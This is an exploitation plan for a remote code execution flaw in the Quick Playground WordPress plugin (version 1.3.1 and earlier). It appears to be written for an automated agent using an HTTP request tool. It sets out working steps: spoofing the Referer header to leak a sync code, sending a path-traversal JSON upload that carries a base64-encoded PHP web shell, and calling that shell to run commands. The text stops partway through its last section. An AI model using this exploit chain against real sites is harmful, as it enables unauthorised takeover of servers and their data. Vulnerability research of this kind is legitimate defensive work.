Exploitation Research Plan: Quick Playground <= 1.3.1 Arbitrary File Upload (RCE)

1. Vulnerability Summary

The Quick Playground plugin for WordPress is vulnerable to unauthenticated Remote Code Execution (RCE) via arbitrary file upload in versions up to and including 1.3.1. The vulnerability stems from two issues:

1. Information Leak: REST API endpoints (like save_settings or download_json) have insufficient authorization checks (e.g., only checking the Referer header), allowing unauthenticated attackers to retrieve the sync_code required for authenticated operations.
2. Arbitrary File Upload with Path Traversal: The upload_image REST API endpoint fails to properly sanitize the filename parameter and lacks sufficient authorization. This allows an attacker to upload PHP files and use path traversal (../) to place them in accessible directories.

2. Attack Vector Analysis

• Endpoints:
  • Information Leak: GET /wp-json/quickplayground/v1/save_settings/default or GET /wp-json/quickplayground/v1/download_json/default.
  • File Upload: POST /wp-json/quickplayground/v1/upload_image/default.
• Method: REST API.
• Authentication: Unauthenticated (authorization bypass via Referer spoofing or insufficient checking).
• Payload: JSON body containing a base64 encoded PHP shell and a traversed filename.
• Preconditions: The plugin must be active. A "profile" (usually default) must exist (created upon plugin activation).

3. Code Flow

1. Registration: The plugin registers REST routes in expro-api.php.
2. Leakage Path:
   • Quick_Playground_Save_Settings::register_routes (or similar) registers a GET method for save_settings/(?P<profile>[a-z0-9_]+).
   • The permission_callback likely mimics Quick_Playground_Sync_Ids::get_items_permissions_check, which only verifies: return 'https://playground.wordpress.net/' == $_SERVER['HTTP_REFERER'];.
   • If accessed via GET, the callback get_items reads the JSON settings file from the uploads directory and returns it.
   • This JSON contains the qckply_sync_code (as seen in client-save-playground.php where $clone['sync_code'] = $qckply_sync_code is added to the outgoing JSON).
3. Upload Path:
   • The upload_image endpoint is called.
   • The handler receives sync_code, base64, and filename.
   • It validates sync_code using qckply_cloning_code($profile).
   • Once authorized, it writes the decoded base64 content to a path constructed using filename.
   • Because filename is not sanitized for path traversal, ../../shell.php allows writing outside the intended directory.

4. Nonce Acquisition Strategy

This vulnerability does not require a WordPress nonce. The REST API endpoints are designed for machine-to-machine communication between a WordPress Playground instance and the host site. Authorization is handled via:

1. The Referer header (for the information leak).
2. The sync_code parameter in the JSON body (for the file upload).

5. Exploitation Strategy

Step 1: Retrieve the Sync Code

Spoof the Referer header to trick the permission check and retrieve the configuration file for the default profile.

• Request:
  • Tool: http_request
  • URL: http://vulnerable-site.local/wp-json/quickplayground/v1/save_settings/default
  • Method: GET
  • Headers:
    • Referer: https://playground.wordpress.net/
• Expected Response: A JSON object containing "qckply_sync_code": "STATED_CODE" or similar keys inside the settings object.

Step 2: Upload the PHP Web Shell

Use the retrieved sync_code to authorize a file upload to the upload_image endpoint. Use path traversal to place the shell in the /wp-content/ directory.

• Request:
  • Tool: http_request
  • URL: http://vulnerable-site.local/wp-json/quickplayground/v1/upload_image/default
  • Method: POST
  • Headers:
    • Content-Type: application/json
    • Referer: https://playground.wordpress.net/
  • Body:

    {
      "sync_code": "RETRIEVED_SYNC_CODE",
      "filename": "../../pwn.php",
      "base64": "PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+"
    }
    

    (Note: PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+ is <?php system($_GET['cmd']); ?>)

Step 3: Trigger Execution

• Request:
  • URL: http://vulnerable-site.local/wp-content/pwn.php?cmd=whoami
  • Method: GET

6. Test Data Setup

1. Activate Plugin: Ensure quick-playground is active.
2. Initialize Settings: Visit the plugin settings page once as an admin to ensure the default profile and qckply_sync_code are generated and saved to the filesystem.
   • CLI: wp plugin activate quick-playground
   • CLI: wp eval "qckply_get_directories(); qckply_cloning_code('default');" (Forces creation of directories and options).

7. Expected